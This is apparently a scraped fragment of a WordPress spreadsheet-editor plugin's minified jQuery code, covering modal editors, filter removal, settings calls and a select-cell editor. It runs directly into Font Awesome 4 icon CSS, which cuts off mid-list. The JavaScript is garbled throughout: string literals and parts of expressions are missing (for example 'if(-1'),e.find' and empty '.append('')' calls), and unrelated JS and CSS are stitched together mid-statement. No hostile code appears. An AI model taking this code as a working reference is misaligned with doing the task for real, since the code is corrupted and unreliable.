i=hot.countRows(),d=n.row;0===d?s.find("button.anterior").hide():s.find("button.anterior").show(),d===i-1?s.find("button.siguiente").hide():s.find("button.siguiente").show(),s.find("button.anterior").data("pos",d-1),s.find("button.siguiente").data("pos",d+1)}if("metabox"===o.modalSettings.type)var l=null;else"string"==typeof(l=window.hotModalCache&&window.hotModalCache[o.modalSettings.post_id][o.modalSettings.edit_modal_save_action]?window.hotModalCache[o.modalSettings.post_id][o.modalSettings.edit_modal_save_action]:o.existing)&&(l=l||"{}",l=JSON.parse(l));var u={button:t,modalSettings:o.modalSettings,existing:l};window.vgseWCAttsCurrent=u,setTimeout(function(){s.remodal().open()},500),s.addClass("modal-editor-"+o.modalSettings.key)}),jQuery("body").on("click",".custom-modal-editor .remodal-cancel",function(e){var t=jQuery(this).parents(".custom-modal-editor"),o=window.vgseWCAttsCurrent;o.modalSettings.edit_modal_cancel_action&&(loading_ajax({estado:!0}),o.modalSettings.edit_modal_cancel_action.replace("js_function_name:","").split(",").forEach(function(e){vgseExecuteFunctionByName(e,t.find("iframe")[0].contentWindow)}),loading_ajax(!1))}),jQuery("body").on("click",".custom-modal-editor .save-changes-handsontable",function(e){var o=jQuery(this).parents(".custom-modal-editor"),a=jQuery(".remodal-bg").data("nonce"),n=window.vgseWCAttsCurrent;if(loading_ajax({estado:!0}),"handsontable"===n.modalSettings.type)var r=hotAttr.getSourceData();else if("metabox"===n.modalSettings.type)if(-1'),e.find(".modal-post-title").html(t.modalSettings.post_title),t.modalSettings.edit_modal_title&&e.find(".modal-general-title").html(t.modalSettings.edit_modal_title+": "),t.modalSettings.edit_modal_description&&e.find(".modal-description").html(t.modalSettings.edit_modal_description),e.find(".modal-general-title, .modal-description").show(),window.hotModalCache||(window.hotModalCache={}),window.hotModalCache[t.modalSettings.post_id]||(window.hotModalCache[t.modalSettings.post_id]={}),t.modalSettings.edit_modal_get_action){var o=jQuery(".remodal-bg").data("nonce");jQuery.get(vgse_global_data.ajax_url,{action:t.modalSettings.edit_modal_get_action,nonce:o,postId:t.modalSettings.post_id}).done(function(e){initHandsontableForPopup(e.data,t.modalSettings)})}else{if(window.hotModalCache&&window.hotModalCache[t.modalSettings.post_id][t.modalSettings.edit_modal_save_action])var a=window.hotModalCache[t.modalSettings.post_id][t.modalSettings.edit_modal_save_action];else a=t.existing;initHandsontableForPopup(a,t.modalSettings)}}),jQuery("body").on("click","button.remodal-confirm, a.remodal-cancel, .media-button-insert",function(e){"submit"===jQuery(this).attr("type")||jQuery(this).hasClass("submit")||e.preventDefault()})}),jQuery(document).ready(function(){jQuery(".vgse-current-filters").on("click",".button",function(e){e.preventDefault();var t=jQuery(this),o=hot.getSourceData();if((o=beGetModifiedItems(o,window.beOriginalData)).length)return alert(vgse_editor_settings.texts.save_changes_before_remove_filter),!0;var a=[];t.hasClass("remove-all-filters")?(jQuery(".vgse-current-filters .button:not(.remove-all-filters)").each(function(){a.push(jQuery(this).data("filter-key"))}),jQuery(".vgse-current-filters .button").remove(),jQuery("body").data("be-filters",{})):(a.push(t.data("filter-key")),t.remove()),a.forEach(function(e){e&&(jQuery("#be-filters").find("input,select,textarea").filter(function(){return jQuery(this).attr("name")===e&&"checkbox"!==jQuery(this).attr("type")}).val("").trigger("change"),jQuery("#be-filters").find("input:checkbox").filter(function(){return jQuery(this).attr("name")===e}).prop("checked",!1).trigger("change"),beAddRowsFilter(e+"="))}),vgseReloadSpreadsheet()})}),jQuery(document).ready(function(){var o=jQuery(".post-type-setup-wizard");if(!o.length)return!1;o.find("form.inline-add").on("submit",function(e){var t=jQuery(this),o=t.data("callback");return jQuery.ajax({method:t.attr("method"),url:t.attr("action"),data:t.serialize()+"¤t_post_type="+jQuery(".post-types-form input:radio:checked").val()}).done(function(e){t.find("input:text").val(""),t.find("input:text").first().focus(),vgseExecuteFunctionByName(o,window,{response:e,form:t})}),!1});var e=o.find(".post-types-form").data("custom-post-types").split(",");jQuery.each(e,function(e,t){o.find(".post-types-form .post-type-"+t).append('')}),o.on("click",".vgse-delete-post-type",function(e){e.preventDefault();var t=jQuery(this).data("post-type");if(!confirm(o.find(".post-types-form").data("confirm-delete")))return!0;jQuery.post(vgse_global_data.ajax_url,{post_type:t,action:"vgse_delete_post_type",nonce:jQuery(".post-type-setup-wizard").data("nonce")},function(e){e.success&&(notification({mensaje:e.data.message,tipo:"success",tiempo:3e3}),o.find(".post-types-form .post-type-"+t).remove())})})}),jQuery(document).ready(function(){var t=jQuery(".quick-setup-page-content .post-type-field input");if(!t.length)return!1;var a=jQuery(".quick-setup-page-content .post-types-enabled");t.on("change",function(e){a.empty(),t.each(function(){var e=jQuery(this).val();if(jQuery(this).is(":checked")){var t=jQuery(this).siblings("label").text(),o='Edit '+vgseStripHtml(t)+" - ";a.append(o)}})})}),jQuery(document).ready(function(){jQuery("body").on("change","input.wpse-set-settings, textarea.wpse-set-settings, select.wpse-set-settings",function(e){e.preventDefault();var t=jQuery(this).attr("name"),o=jQuery(this).val(),a=parseInt(jQuery(this).data("reload-after-success")),n=parseInt(jQuery(this).data("silent-action"));if(!t)return!0;vgseSetSettings([{name:"settings["+t+"]",value:o}],a,n)}),jQuery("body").on("click","a.wpse-set-settings",function(e){e.preventDefault();var t=jQuery(this).data("name"),o=jQuery(this).data("value"),a=parseInt(jQuery(this).data("reload-after-success")),n=parseInt(jQuery(this).data("silent-action"));if(!t)return!0;vgseSetSettings([{name:"settings["+t+"]",value:o}],a,n)}),jQuery("body").on("submit","form.wpse-set-settings",function(e){var t=parseInt(jQuery(this).data("reload-after-success")),o=parseInt(jQuery(this).data("silent-action"));return vgseSetSettings(jQuery(this).serializeArray(),t,o),!1}),jQuery(".tabs-links a").on("click",function(e){e.preventDefault(),jQuery(".tabs-links a").removeClass("tab-active"),jQuery(this).addClass("tab-active");var t=jQuery(this).attr("href").replace("#",""),o=jQuery(this).parents(".tabs-links"),a=o.next().find("."+t);o.next().find(".tab-content").hide(),a.show()}),jQuery(".tabs-links").each(function(){jQuery(this).find("a").first().click()})}),jQuery(document).ready(function(){jQuery(".toolbar-submenu [data-saved-item]").each(function(){jQuery(this).after('')}),jQuery("body").on("click",".wpse-delete-saved-item",function(e){e.preventDefault();var t=jQuery(this),o="confirm_delete_"+t.prev().data("saved-type")+"_item";if(vgse_editor_settings.texts[o]&&!confirm(vgse_editor_settings.texts[o]))return!1;var a={nonce:jQuery("#vgse-wrapper").data("nonce"),post_type:jQuery("#post-data").data("post-type"),action:"vgse_delete_saved_"+t.prev().data("saved-type"),search_name:t.prev().data("item-name")},n=t.prev().data("reload");t.parent().remove(),jQuery.post(vgse_global_data.ajax_url,a,function(e){n&&window.location.reload()})})}),jQuery(document).ready(function(){if(!jQuery(".vg-toolbar .button-container.require-click-to-expand").length)return!0;jQuery(".vg-toolbar .require-click-to-expand > button").on("click",function(e){var t=jQuery(this).parent();jQuery(".vg-toolbar .require-click-to-expand.expand-submenu").not(t).removeClass("expand-submenu"),t.toggleClass("expand-submenu")}),jQuery("body").on("click",function(e){var t=jQuery(e.target);!jQuery(".button-container.expand-submenu").length||t.parents(".require-click-to-expand").length||t.parents(".select2-container").length||jQuery(".vg-toolbar .button-container.require-click-to-expand.expand-submenu").removeClass("expand-submenu")})}),jQuery(document).ready(function(){vgseInitLazySelects()}),jQuery(document).ready(function(){if(jQuery(window).width()<768)return!0;var e=jQuery(".remodal.remodal-draggable");if(!e.length)return!0;e.each(function(){var e,t,o,a,n,r,s=jQuery(this);function i(e){(e=e||window.event).preventDefault(),n=e.clientX,r=e.clientY,document.onmouseup=l,document.onmousemove=d}function d(e){(e=e||window.event).preventDefault(),o=n-e.clientX,a=r-e.clientY,n=e.clientX,r=e.clientY,t.style.top=t.offsetTop-a+"px",t.style.left=t.offsetLeft-o+"px"}function l(){document.onmouseup=null,document.onmousemove=null}s.append(''),e=s.find(".drag-modal")[0],t=s[0],r=n=a=o=0,document.getElementById(e.id+"header")?document.getElementById(e.id+"header").onmousedown=i:e.onmousedown=i}),jQuery(document).on("opened",".remodal",function(e){var t=jQuery(this);t.hasClass("remodal-draggable")&&t.css({left:t[0].offsetLeft,position:"absolute",top:t[0].offsetTop})}),jQuery(document).on("closed",".remodal",function(e){var t=jQuery(this);t.hasClass("remodal-draggable")&&t.css({left:"",position:"",top:""})})}),jQuery(document).ready(function(){var $=jQuery;function n(a){$.get(vgse_global_data.ajax_url,{action:a.data("ajax-action"),nonce:jQuery(".remodal-bg").data("nonce"),postType:vgse_editor_settings.post_type,post_type:vgse_editor_settings.post_type,is_editor_page:!0},function(e){if(e.success){var t=jQuery(e.data.html);if(a.hasClass("custom-ajax-insert")||a.find(".modal-content").replaceWith(t.find(".modal-content")),a.removeClass("lazy-modal-content"),a.trigger("vgSheetEditor:remodal:ajaxContentInserted",e),$("body").trigger("vgSheetEditor:remodal:ajaxContentInserted",e),a.data("live-refresh")&&!a.data("intervalId")){var o=setInterval(function(){a.data("pauseAutoReload")||n(a)},1e3*parseInt(a.data("live-refresh")));a.data("intervalId",o)}}})}jQuery(document).on("opening",".remodal[data-ajax-action]",function(){n(jQuery(this))}),jQuery(document).on("closed",".remodal[data-ajax-action]",function(){var e=parseInt(jQuery(this).data("intervalId"));e&&(clearInterval(e),jQuery(this).data("intervalId",!1))}),jQuery(document).on("vgSheetEditor:refreshRemodalContent",".remodal[data-ajax-action]",function(){jQuery(this).is(":visible")&&n(jQuery(this))})}); jQuery(document).ready(function(){if("undefined"==typeof hot)return!0;hot.updateSettings({cells:function(t,e,s){var o=this.instance.toVisualRow(t),r={},l=this.className||"";l=l.replace(/bg-[a-z0-9]+/gi,""),"object"==typeof vgse_editor_settings.columnsBackgroundColors&&"string"==typeof vgse_editor_settings.columnsBackgroundColors[s]&&vgse_editor_settings.columnsBackgroundColors[s]&&(l+=" bg-"+vgse_editor_settings.columnsBackgroundColors[s].replace("#","")),vgse_editor_settings.add_html_class_status_value&&"post_status"===s&&(l=l.replace(/status-[a-zA-Z]+/g,""),(a=hot.getDataAtCell(o,e))&&(l+=" status-"+a.replace(/[^a-zA-Z]+/g,"")));r.className=l;var n=vgse_editor_settings.final_spreadsheet_columns_settings[s];if(n){if(!n.is_locked&&(vgse_editor_settings.watch_cells_to_lock||"post_status"===s))if((a=hot.getDataAtCell(o,e))&&"string"==typeof a&&-1").attr("value",vgseStripHtml(e)).text(vgseStripHtml(e));i.$select.append(t)}),i.$select.trigger("chosen:updated"),i.setValue(o),i.$parent.find(".search-field").removeClass("wpse-is-loading")};var s=function(e,t){t&&t.selected&&(this.$select.find("option").filter(function(){return jQuery(this).val()===t.selected}).appendTo(this.$select),this.$select.trigger("chosen:updated"))},n=function(){this.cellProperties.chosenOptions.multiple||(this.close(),this.finishEditing())},a=function(e){var t=this.getActiveEditor(),i=r.helper.KEY_CODES,o=(e.ctrlKey||e.metaKey)&&!e.altKey;if("INPUT"===e.target.tagName)if(17!==e.keyCode&&224!==e.keyCode&&91!==e.keyCode&&93!==e.keyCode){var s=e.target;switch(e.keyCode){case i.ARROW_RIGHT:r.dom.getCaretPosition(s)!==s.value.length?e.stopImmediatePropagation():t.$select.trigger("chosen:close");break;case i.ARROW_LEFT:0!==r.dom.getCaretPosition(s)?e.stopImmediatePropagation():t.$select.trigger("chosen:close");break;case i.ENTER:t.cellProperties.chosenOptions.multiple&&(e.stopImmediatePropagation(),e.preventDefault(),e.stopPropagation());break;case i.A:case i.X:case i.C:case i.V:o&&e.stopImmediatePropagation();break;case i.BACKSPACE:var n=jQuery(t.TEXTAREA_PARENT).find("input").val();jQuery(t.TEXTAREA_PARENT).find("input").val(n.substr(0,n.length-1)).trigger("keyup.chosen"),e.stopImmediatePropagation();break;case i.DELETE:case i.HOME:case i.END:e.stopImmediatePropagation()}}else e.stopImmediatePropagation()};e.prototype.close=function(){this.setValue(this.getValue()),r.editors.SelectEditor.prototype.close.apply(this,arguments),this.instance.removeHook("beforeKeyDown",a),this.$parent.hide(),this.$select.off(),this.$select.hide()},e.prototype.finishEditing=function(e,t){return r.editors.SelectEditor.prototype.finishEditing.apply(this,arguments)},e.prototype.beginEditing=function(e,t){var i=this.instance.getSettings().onBeginEditing;if(!i||!1!==i()){var o=this;t instanceof KeyboardEvent&&"Enter"===t.key?setTimeout(function(){r.editors.SelectEditor.prototype.beginEditing.apply(o,arguments)},250):r.editors.SelectEditor.prototype.beginEditing.apply(this,arguments)}},e.prototype.getValue=function(){var e=function(e){for(var t,i=[],o=e&&e.options,s=0,n=o.length;s");var t=null,o=(this.originalValue+"").split(vgse_editor_settings.taxonomy_terms_separator).map(function(e){return e.trim()});if(e.data&&e.data.length)for(var s=0;s")).attr("value",e.data[s].id),t.html(e.data[s].label),-1 li { position: relative; } .fa-li { position: absolute; left: -2.14285714em; width: 2.14285714em; top: 0.14285714em; text-align: center; } .fa-li.fa-lg { left: -1.85714286em; } .fa-border { padding: .2em .25em .15em; border: solid 0.08em #eeeeee; border-radius: .1em; } .fa-pull-left { float: left; } .fa-pull-right { float: right; } .fa.fa-pull-left { margin-right: .3em; } .fa.fa-pull-right { margin-left: .3em; } /* Deprecated as of 4.4.0 */ .pull-right { float: right; } .pull-left { float: left; } .fa.pull-left { margin-right: .3em; } .fa.pull-right { margin-left: .3em; } .fa-spin { -webkit-animation: fa-spin 2s infinite linear; animation: fa-spin 2s infinite linear; } .fa-pulse { -webkit-animation: fa-spin 1s infinite steps(8); animation: fa-spin 1s infinite steps(8); } @-webkit-keyframes fa-spin { 0% { -webkit-transform: rotate(0deg); transform: rotate(0deg); } 100% { -webkit-transform: rotate(359deg); transform: rotate(359deg); } } @keyframes fa-spin { 0% { -webkit-transform: rotate(0deg); transform: rotate(0deg); } 100% { -webkit-transform: rotate(359deg); transform: rotate(359deg); } } .fa-rotate-90 { -ms-filter: "progid:DXImageTransform.Microsoft.BasicImage(rotation=1)"; -webkit-transform: rotate(90deg); -ms-transform: rotate(90deg); transform: rotate(90deg); } .fa-rotate-180 { -ms-filter: "progid:DXImageTransform.Microsoft.BasicImage(rotation=2)"; -webkit-transform: rotate(180deg); -ms-transform: rotate(180deg); transform: rotate(180deg); } .fa-rotate-270 { -ms-filter: "progid:DXImageTransform.Microsoft.BasicImage(rotation=3)"; -webkit-transform: rotate(270deg); -ms-transform: rotate(270deg); transform: rotate(270deg); } .fa-flip-horizontal { -ms-filter: "progid:DXImageTransform.Microsoft.BasicImage(rotation=0, mirror=1)"; -webkit-transform: scale(-1, 1); -ms-transform: scale(-1, 1); transform: scale(-1, 1); } .fa-flip-vertical { -ms-filter: "progid:DXImageTransform.Microsoft.BasicImage(rotation=2, mirror=1)"; -webkit-transform: scale(1, -1); -ms-transform: scale(1, -1); transform: scale(1, -1); } :root .fa-rotate-90, :root .fa-rotate-180, :root .fa-rotate-270, :root .fa-flip-horizontal, :root .fa-flip-vertical { filter: none; } .fa-stack { position: relative; display: inline-block; width: 2em; height: 2em; line-height: 2em; vertical-align: middle; } .fa-stack-1x, .fa-stack-2x { position: absolute; left: 0; width: 100%; text-align: center; } .fa-stack-1x { line-height: inherit; } .fa-stack-2x { font-size: 2em; } .fa-inverse { color: #ffffff; } /* Font Awesome uses the Unicode Private Use Area (PUA) to ensure screen readers do not read off random characters that represent icons */ .fa-glass:before { content: "\f000"; } .fa-music:before { content: "\f001"; } .fa-search:before { content: "\f002"; } .fa-envelope-o:before { content: "\f003"; } .fa-heart:before { content: "\f004"; } .fa-star:before { content: "\f005"; } .fa-star-o:before { content: "\f006"; } .fa-user:before { content: "\f007"; } .fa-film:before { content: "\f008"; } .fa-th-large:before { content: "\f009"; } .fa-th:before { content: "\f00a"; } .fa-th-list:before { content: "\f00b"; } .fa-check:before { content: "\f00c"; } .fa-remove:before, .fa-close:before, .fa-times:before { content: "\f00d"; } .fa-search-plus:before { content: "\f00e"; } .fa-search-minus:before { content: "\f010"; } .fa-power-off:before { content: "\f011"; } .fa-signal:before { content: "\f012"; } .fa-gear:before, .fa-cog:before { content: "\f013"; } .fa-trash-o:before { content: "\f014"; } .fa-home:before { content: "\f015"; } .fa-file-o:before { content: "\f016"; } .fa-clock-o:before { content: "\f017"; } .fa-road:before { content: "\f018"; } .fa-download:before { content: "\f019"; } .fa-arrow-circle-o-down:before { content: "\f01a"; } .fa-arrow-circle-o-up:before { content: "\f01b"; } .fa-inbox:before { content: "\f01c"; } .fa-play-circle-o:before { content: "\f01d"; } .fa-rotate-right:before, .fa-repeat:before { content: "\f01e"; } .fa-refresh:before { content: "\f021"; } .fa-list-alt:before { content: "\f022"; } .fa-lock:before { content: "\f023"; } .fa-flag:before { content: "\f024"; } .fa-headphones:before { content: "\f025"; } .fa-volume-off:before { content: "\f026"; } .fa-volume-down:before { content: "\f027"; } .fa-volume-up:before { content: "\f028"; } .fa-qrcode:before { content: "\f029"; } .fa-barcode:before { content: "\f02a"; } .fa-tag:before { content: "\f02b"; } .fa-tags:before { content: "\f02c"; } .fa-book:before { content: "\f02d"; } .fa-bookmark:before { content: "\f02e"; } .fa-print:before { content: "\f02f"; } .fa-camera:before { content: "\f030"; } .fa-font:before { content: "\f031"; } .fa-bold:before { content: "\f032"; } .fa-italic:before { content: "\f033"; } .fa-text-height:before { content: "\f034"; } .fa-text-width:before { content: "\f035"; } .fa-align-left:before { content: "\f036"; } .fa-align-center:before { content: "\f037"; } .fa-align-right:before { content: "\f038"; } .fa-align-justify:before { content: "\f039"; } .fa-list:before { content: "\f03a"; } .fa-dedent:before, .fa-outdent:before { content: "\f03b"; } .fa-indent:before { content: "\f03c"; } .fa-video-camera:before { content: "\f03d"; } .fa-photo:before, .fa-image:before, .fa-picture-o:before { content: "\f03e"; } .fa-pencil:before { content: "\f040"; } .fa-map-marker:before { content: "\f041"; } .fa-adjust:before { content: "\f042"; } .fa-tint:before { content: "\f043"; } .fa-edit:before, .fa-pencil-square-o:before { content: "\f044"; } .fa-share-square-o:before { content: "\f045"; } .fa-check-square-o:before { content: "\f046"; } .fa-arrows:before { content: "\f047"; } .fa-step-backward:before { content: "\f048"; } .fa-fast-backward:before { content: "\f049"; } .fa-backward:before { content: "\f04a"; } .fa-play:before { content: "\f04b"; } .fa-pause:before { content: "\f04c"; } .fa-stop:before { content: "\f04d"; } .fa-forward:before { content: "\f04e"; } .fa-fast-forward:before { content: "\f050"; } .fa-step-forward:before { content: "\f051"; } .fa-eject:before { content: "\f052"; } .fa-chevron-left:before { content: "\f053"; } .fa-chevron-right:before { content: "\f054"; } .fa-plus-circle:before { content: "\f055"; } .fa-minus-circle:before { content: "\f056"; } .fa-times-circle:before { content: "\f057"; } .fa-check-circle:before { content: "\f058"; } .fa-question-circle:before { content: "\f059"; } .fa-info-circle:before { content: "\f05a"; } .fa-crosshairs:before { content: "\f05b"; } .fa-times-circle-o:before { content: "\f05c"; } .fa-check-circle-o:before { content: "\f05d"; } .fa-ban:before { content: "\f05e"; } .fa-arrow-left:before { content: "\f060"; } .fa-arrow-right:before { content: "\f061"; } .fa-arrow-up:before { content: "\f062"; } .fa-arrow-down:before { content: "\f063"; } .fa-mail-forward:before, .fa-share:before { content: "\f064"; } .fa-expand:before { content: "\f065"; } .fa-compress:before { content: "\f066"; } .fa-plus:before { content: "\f067"; } .fa-minus:before { content: "\f068"; } .fa-asterisk:before { content: "\f069"; } .fa-exclamation-circle:before { content: "\f06a"; } .fa-gift:before { content: "\f06b"; } .fa-leaf:before { content: "\f06c"; } .fa-fire:before { content: "\f06d"; } .fa-eye:before { content: "\f06e"; } .fa-eye-slash:before { content: "\f070"; } .fa-warning:before, .fa-exclamation-triangle:before { content: "\f071"; } .fa-plane:before { content: "\f072"; } .fa-calendar:before { content: "\f073"; } .fa-random:before { content: "\f074"; } .fa-comment:before { content: "\f075"; } .fa-magnet:before { content: "\f076"; } .fa-chevron-up:before { content: "\f077"; } .fa-chevron-down:before { content: "\f078"; } .fa-retweet:before { content: "\f079"; } .fa-shopping-cart:before { content: "\f07a"; } .fa-folder:before { content: "\f07b"; } .fa-folder-open:before { content: "\f07c"; } .fa-arrows-v:before { content: "\f07d"; } .fa-arrows-h:before { content: "\f07e"; } .fa-bar-chart-o:before, .fa-bar-chart:before { content: "\f080"; } .fa-twitter-square:before { content: "\f081"; } .fa-facebook-square:before { content: "\f082"; } .fa-camera-retro:before { content: "\f083"; } .fa-key:before { content: "\f084"; } .fa-gears:before, .fa-cogs:before { content: "\f085"; } .fa-comments:before { content: "\f086"; } .fa-thumbs-o-up:before { content: "\f087"; } .fa-thumbs-o-down:before { content: "\f088"; } .fa-star-half:before { content: "\f089"; } .fa-heart-o:before { content: "\f08a"; } .fa-sign-out:before { content: "\f08b"; } .fa-linkedin-square:before { content: "\f08c"; } .fa-thumb-tack:before { content: "\f08d"; } .fa-external-link:before { content: "\f08e"; } .fa-sign-in:before { content: "\f090"; } .fa-trophy:before { content: "\f091"; } .fa-github-square:before { content: "\f092"; } .fa-upload:before { content: "\f093"; } .fa-lemon-o:before { content: "\f094"; } .fa-phone:before { content: "\f095"; } .fa-square-o:before { content: "\f096"; } .fa-bookmark-o:before { content: "\f097"; } .fa-phone-square:before { content: "\f098"; } .fa-twitter:before { content: "\f099"; } .fa-facebook-f:before, .fa-facebook:before { content: "\f09a"; } .fa-github:before { content: "\f09b"; } .fa-unlock:before { content: "\f09c"; } .fa-credit-card:before { content: "\f09d"; } .fa-feed:before, .fa-rss:before { content: "\f09e"; } .fa-hdd-o:before { content: "\f0a0"; } .fa-bullhorn:before { content: "\f0a1"; } .fa-bell:before { content: "\f0f3"; } .fa-certificate:before { content: "\f0a3"; } .fa-hand-o-right:before { content: "\f0a4"; } .fa-hand-o-left:before { content: "\f0a5"; } .fa-hand-o-up:before { content: "\f0a6"; } .fa-hand-o-down:before { content: "\f0a7"; } .fa-arrow-circle-left:before { content: "\f0a8"; } .fa-arrow-circle-right:before { content: "\f0a9"; } .fa-arrow-circle-up:before { content: "\f0aa"; } .fa-arrow-circle-down:before { content: "\f0ab"; } .fa-globe:before { content: "\f0ac"; } .fa-wrench:before { content: "\f0ad"; } .fa-tasks:before { content: "\f0ae"; } .fa-filter:before { content: "\f0b0"; } .fa-briefcase:before { content: "\f0b1"; } .fa-arrows-alt:before { content: "\f0b2"; } .fa-group:before, .fa-users:before { content: "\f0c0"; } .fa-chain:before, .fa-link:before { content: "\f0c1"; } .fa-cloud:before { content: "\f0c2"; } .fa-flask:before { content: "\f0c3"; } .fa-cut:before, .fa-scissors:before { content: "\f0c4"; } .fa-copy:before, .fa-files-o:before { content: "\f0c5"; } .fa-paperclip:before { content: "\f0c6"; } .fa-save:before, .fa-floppy-o:before { content: "\f0c7"; } .fa-square:before { content: "\f0c8"; } .fa-navicon:before, .fa-reorder:before, .fa-bars:before { content: "\f0c9"; } .fa-list-ul:before { content: "\f0ca"; } .fa-list-ol:before { content: "\f0cb"; } .fa-strikethrough:before { content: "\f0cc"; } .fa-underline:before { content: "\f0cd"; } .fa-table:before { content: "\f0ce"; } .fa-magic:before { content: "\f0d0"; } .fa-truck:before { content: "\f0d1"; } .fa-pinterest:before { content: "\f0d2"; } .fa-pinterest-square:before { content: "\f0d3"; } .fa-google-plus-square:before { content: "\f0d4"; } .fa-google-plus:before { content: "\f0d5"; } .fa-money:before { content: "\f0d6"; } .fa-caret-down:before { content: "\f0d7"; } .fa-caret-up:before { content: "\f0d8"; } .fa-caret-left:before { content: "\f0d9"; } .fa-caret-right:before { content: "\f0da"; } .fa-columns:before { content: "\f0db"; } .fa-unsorted:before, .fa-sort:before { content: "\f0dc"; } .fa-sort-down:before, .fa-sort-desc:before { content: "\f0dd"; } .fa-sort-up:before, .fa-sort-asc:before { content: "\f0de"; } .fa-envelope:before { content: "\f0e0"; } .fa-linkedin:before { content: "\f0e1"; } .fa-rotate-left:before, .fa-undo:before { content: "\f0e2"; } .fa-legal:before, .fa-gavel:before { content: "\f0e3"; } .fa-dashboard:before, .fa-tachometer:before { content: "\f0e4"; } .fa-comment-o:before { content: "\f0e5"; } .fa-comments-o:before { content: "\f0e6"; } .fa-flash:before, .fa-bolt:before { content: "\f0e7"; } .fa-sitemap:before { content: "\f0e8"; } .fa-umbrella:before { content: "\f0e9"; } .fa-paste:before, .fa-clipboard:before { content: "\f0ea"; } .fa-lightbulb-o:before { content: "\f0eb"; } .fa-exchange:before { content: "\f0ec"; } .fa-cloud-download:before { content: "\f0ed"; } .fa-cloud-upload:before { content: "\f0ee"; } .fa-user-md:before { content: "\f0f0"; } .fa-stethoscope:before { content: "\f0f1"; } .fa-suitcase:before { content: "\f0f2"; } .fa-bell-o:before { content: "\f0a2"; } .fa-coffee:before { content: "\f0f4"; } .fa-cutlery:before { content: "\f0f5"; } .fa-file-text-o:before { content: "\f0f6"; } .fa-building-o:before { content: "\f0f7"; } .fa-hospital-o:before { content: "\f0f8"; } .fa-ambulance:before { content: "\f0f9"; } .fa-medkit:before { content: "\f0fa"; } .fa-fighter-jet:before { content: "\f0fb"; } .fa-beer:before { content: "\f0fc"; } .fa-h-square:before { content: "\f0fd"; } .fa-plus-square:before { content: "\f0fe"; } .fa-angle-double-left:before { content: "\f100"; } .fa-angle-double-right:before { content: "\f101"; } .fa-angle-double-up:before { content: "\f102"; } .fa-angle-double-down:before { content: "\f103"; } .fa-angle-left:before { content: "\f104"; } .fa-angle-right:before { content: "\f105"; } .fa-angle-up:before { content: "\f106"; } .fa-angle-down:before { content: "\f107"; } .fa-desktop:before { content: "\f108"; } .fa-laptop:before { content: "\f109"; } .fa-tablet:before { content: "\f10a"; } .fa-mobile-phone:before, .fa-mobile:before { content: "\f10b"; } .fa-circle-o:before { content: "\f10c"; } .fa-quote-left:before { content: "\f10d"; } .fa-quote-right:before { content: "\f10e"; } .fa-spinner:before { content: "\f110"; } .fa-circle:before { content: "\f111"; } .fa-mail-reply:before, .fa-reply:before { content: "\f112"; } .fa-github-alt:before { content: "\f113"; } .fa-folder-o:before { content: "\f114"; } .fa-folder-open-o:before { content: "\f115"; } .fa-smile-o:before { content: "\f118"; } .fa-frown-o:before { content: "\f119"; } .fa-meh-o:before { content: "\f11a"; } .fa-gamepad:before { content: "\f11b"; } .fa-keyboard-o:before { content: "\f11c"; } .fa-flag-o:before { content: "\f11d"; } .fa-flag-checkered:before { content: "\f11e"; } .fa-terminal:before { content: "\f120"; } .fa-code:before { content: "\f121"; } .fa-mail-reply-all:before, .fa-reply-all:before { content: "\f122"; } .fa-star-half-empty:before, .fa-star-half-full:before, .fa-star-half-o:before { content: "\f123"; } .fa-location-arrow:before { content: "\f124"; } .fa-crop:before { content: "\f125"; } .fa-code-fork:before { content: "\f126"; } .fa-unlink:before, .fa-chain-broken:before { content: "\f127"; } .fa-question:before { content: "\f128"; } .fa-info:before { content: "\f129"; } .fa-exclamation:before { content: "\f12a"; } .fa-superscript:before { content: "\f12b"; } .fa-subscript:before { content: "\f12c"; } .fa-eraser:before { content: "\f12d"; } .fa-puzzle-piece:before { content: "\f12e"; } .fa-microphone:before { content: "\f130"; } .fa-microphone-slash:before { content: "\f131"; } .fa-shield:before { content: "\f132"; } .fa-calendar-o:before { content: "\f133"; } .fa-fire-extinguisher:before { content: "\f134"; } .fa-rocket:before { content: "\f135"; } .fa-maxcdn:before { content: "\f136"; } .fa-chevron-circle-left:before { content: "\f137"; } .fa-chevron-circle-right:before { content: "\f138"; } .fa-chevron-circle-up:before { content: "\f139"; } .fa-chevron-circle-down:before { content: "\f13a"; } .fa-html5:before { content: "\f13b"; } .fa-css3:before { content: "\f13c"; } .fa-anchor:before { content: "\f13d"; } .fa-unlock-alt:before { content: "\f13e"; } .fa-bullseye:before { content: "\f140"; } .fa-ellipsis-h:before { content: "\f141"; } .fa-ellipsis-v:before { content: "\f142"; } .fa-rss-square:before { content: "\f143"; } .fa-play-circle:before { content: "\f144"; } .fa-ticket:before { content: "\f145"; } .fa-minus-square:before { content: "\f146"; } .fa-minus-square-o:before { content: "\f147"; } .fa-level-up:before { content: "\f148"; } .fa-level-down:before { content: "\f149"; } .fa-check-square:before { content: "\f14a"; } .fa-pencil-square:before { content: "\f14b"; } .fa-external-link-square:before { content: "\f14c"; } .fa-share-square:before { content: "\f14d"; } .fa-compass:before { content: "\f14e"; } .fa-toggle-down:before, .fa-caret-square-o-down:before { content: "\f150"; } .fa-toggle-up:before, .fa-caret-square-o-up:before { content: "\f151"; } .fa-toggle-right:before, .fa-caret-square-o-right:before { content: "\f152"; } .fa-euro:before, .fa-eur:before { content: "\f153"; } .fa-gbp:before { content: "\f154"; } .fa-dollar:before, .fa-usd:before { content: "\f155"; } .fa-rupee:before, .fa-inr:before { content: "\f156"; } .fa-cny:before, .fa-rmb:before, .fa-yen:before, .fa-jpy:before { content: "\f157"; } .fa-ruble:before, .fa-rouble:before, .fa-rub:before { content: "\f158"; } .fa-won:before, .fa-krw:before { content: "\f159"; } .fa-bitcoin:before, .fa-btc:before { content: "\f15a"; } .fa-file:before { content: "\f15b"; } .fa-file-text:before { content: "\f15c"; } .fa-sort-alpha-asc:before { content: "\f15d"; } .fa-sort-alpha-desc:before { content: "\f15e"; } .fa-sort-amount-asc:before { content: "\f160"; } .fa-sort-amount-desc:before { content: "\f161"; } .fa-sort-numeric-asc:before { content: "\f162"; } .fa-sort-numeric-desc:before { content: "\f163"; } .fa-thumbs-up:before { content: "\f164"; } .fa-thumbs-down:before { content: "\f165"; } .fa-youtube-square:before { content: "\f166"; } .fa-youtube:before { content: "\f167"; } .fa-xing:before { content: "\f168"; } .fa-xing-square:before { content: "\f169"; } .fa-youtube-play:before { content: "\f16a"; } .fa-dropbox:before { content: "\f16b"; } .fa-stack-overflow:before { content: "\f16c"; } .fa-instagram:before { content: "\f16d"; } .fa-flickr:before { content: "\f16e"; } .fa-adn:before { content: "\f170"; } 